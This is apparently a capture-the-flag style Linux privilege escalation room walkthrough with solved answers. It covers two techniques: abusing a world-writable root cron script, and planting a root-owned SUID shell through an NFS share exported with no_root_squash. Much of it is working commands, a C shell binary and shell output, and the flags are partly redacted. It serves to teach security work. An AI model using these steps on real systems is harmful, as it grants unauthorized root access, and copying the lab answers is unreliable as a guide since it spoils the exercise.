PATH=/home/ubuntu:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /usr/local/bin/cleanup.sh
cat /usr/local/bin/cleanup.sh
#!/bin/bash
find /tmp -type f -mtime +1 -delete
find /var/tmp -type f -mtime +7 -delete
echo "[cleanup] done at $(date)"
First let's check if you can write to that script:
ls -l /usr/local/bin/cleanup.shIf it's writable, you don't need an AttackBox at all. You can modify it to do something like copy bash as a SUID binary:
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/cleanup.shThen wait up to 60 seconds (it runs every minute) and:
/tmp/rootbash -pThat gives you a root shell without needing a listener. But first share the
ls -loutput so we know if you have write access.
ls -l /usr/local/bin/cleanup.sh
-rwxrwxrwx 1 root root 122 Mar 3 07:27 /usr/local/bin/cleanup.sh
john@cron-box:~$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/cleanup.sh
john@cron-box:~$ /tmp/rootbash -p
-bash: /tmp/rootbash: No such file or directory
john@cron-box:~$ /tmp/rootbash -p
rootbash-5.2# cat /root/flag.txt
THM{g0t-r00t-from-REDACTED}
Privilege Escalation: NFS
Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g., finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.
Another vector is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
Info: The shares in this task examples and the ones you will target may be different.
john@nfs-box:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/mnt/sharedfolder *(rw,sync,insecure,no_subtree_check)
/backups *(rw,sync,insecure,no_root_squash,no_subtree_check)
The critical element for this privilege escalation vector is the no_root_squash option you can see above. By default, NFS will change the root user to nfsnobody, stripping any file from operating with root privileges. If the no_root_squash option is present on a writable share, we can create an executable(that would be owned by root) with the SUID bit set and run it on the target system.
To start, enumerate the target shares from your attacking machine.
root@CONNECTION_IP:~# showmount -e MACHINE_IP
Export list for MACHINE_IP:
/backups *
/mnt/sharedfolder *
/tmp *
You can then mount one of the no_root_squash shares to your attacking machine and start building your executable.
root@CONNECTION_IP:~# mkdir /tmp/backupsonattackermachine
root@CONNECTION_IP:~# mount -o rw MACHINE_IP:/backups /tmp/backupsonattackermachine
root@CONNECTION_IP:~# cd /tmp/backupsonattackermachine
As you can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.
int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
Once you compile the code, you can set the SUID bit.
Info: You should also make sure that the file is owned by root (i.e. root:root).
root@CONNECTION_IP:/tmp/backupsonattackermachine# gcc nfs.c -o nfs -w -static
root@CONNECTION_IP:/tmp/backupsonattackermachine# chmod +s nfs
root@CONNECTION_IP:/tmp/backupsonattackermachine# ls -l nfs
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs
You will see below that both files (nfs.c and nfs) are present on the target system. If you are on the mounted share, there is no need to transfer them.
Then, you can switch back to the target and run your uploaded binary.
john@nfs-box:~$ id
john@nfs-box:~$ whoami
john
john@nfs-box:/backups$ ls -l
total 24
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs
-rw-r--r-- 1 root root 76 Jun 17 16:24 nfs.c
john@nfs-box:~$ ./nfs
root@nfs-box:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(alper)
root@nfs-box:~# whoami
root
Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.
Next, you will have to exploit a similar vulnerability on the target system.
Answer the questions below
What is the full path of the mountable share?
john@nfs-box:~$ cat /etc/exports
/opt/nfs *(rw,sync,no_root_squash,no_subtree_check)
showmount -e TARGET_IP
Export list for TARGET_IP:
/opt/nfs *
john@nfs-box:~$ mkdir /tmp/backupsonattackermachine
john@nfs-box:~$ mount -o rw TARGET_IP:/backups /tmp/backupsonattackermachine
mount.nfs: failed to apply fstab options
What are the contents of /root/flag.txt?
- Run this on the root machine
mkdir /tmp/nfsmount
root@ip-10-113-110-20:~# mount -o rw TARGET_IP:/opt/nfs /tmp/nfsmount
root@ip-10-113-110-20:~# cd /tmp/nfsmount
root@ip-10-113-110-20:/tmp/nfsmount# cp /bin/bash rootbash
root@ip-10-113-110-20:/tmp/nfsmount# chmod +s rootbash
root@ip-10-113-110-20:/tmp/nfsmount# ls -l rootbash
-rwsr-sr-x 1 root root 1446024 Jun 22 17:56 rootbash
- Run this on the
nfs-boxmachine
john@nfs-box:~$ /opt/nfs/rootbash -p
rootbash-5.2# whoami
root
rootbash-5.2# cat /root/flag.txt
THM{exports-r00T-REDACTED}
Conclusion
In this room, you worked through the most common misconfigurations that turn an ordinary Linux user into root.
You abused overly permissive sudo rules to run privileged commands as another user.
You hunted down SUID binaries that execute as their owner and turned them into shells.
You hijacked the PATH environment variable to trick privileged scripts into running attacker-controlled binaries.
You exploited Linux capabilities left on the wrong executables.
You abused writable cron jobs running as root.
You exploited a misconfigured NFS share with no_root_squash to plant a root-owned SUID binary from your own machine.
The common thread across all of these is the same: privilege escalation rarely comes from a single dramatic flaw; it comes from a small misconfiguration that hands you something you weren't supposed to have. Enumerate carefully, check the permissions on everything that runs as another user, and the path up almost always reveals itself.
Next, in the Linux Privilege Escalation: Automation room, we will take a look at automating the enumeration process and running public exploits.



